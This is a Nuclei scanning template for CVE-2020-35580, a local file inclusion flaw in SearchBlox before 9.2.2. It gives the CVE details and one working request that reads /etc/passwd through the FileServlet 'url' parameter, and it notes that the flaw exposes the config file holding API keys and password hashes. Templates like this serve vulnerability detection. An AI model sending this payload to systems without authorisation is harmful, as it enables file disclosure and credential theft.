nuclei-templates/cves/2020/CVE-2020-35580.yaml

29 lines
1.1 KiB
YAML

id: CVE-2020-35580
info:
name: SearchBlox < 9.2.2 - Local File Inclusion (LFI)
author: daffainfo
severity: high
description: Local File Inclusion vulnerability in the FileServlet in all SearchBlox before 9.2.2 allows remote, unauthenticated users to read arbitrary files from the operating system via a /searchblox/servlet/FileServlet?col=url=
request. Additionally, this may be used to read the contents of the SearchBlox configuration file (e.g., searchblox/WEB-INF/config.xml), which contains both the Super Admin API key and the base64 encoded SHA1
password hashes of other SearchBlox users.
reference:
- https://hateshape.github.io/general/2021/05/11/CVE-2020-35580.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-35580
cwe-id: CWE-522
tags: cve,cve2020,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/searchblox/servlet/FileServlet?col=9&url=/etc/passwd"
matchers:
- type: regex
regex:
- "root:.*:0:0:"
part: body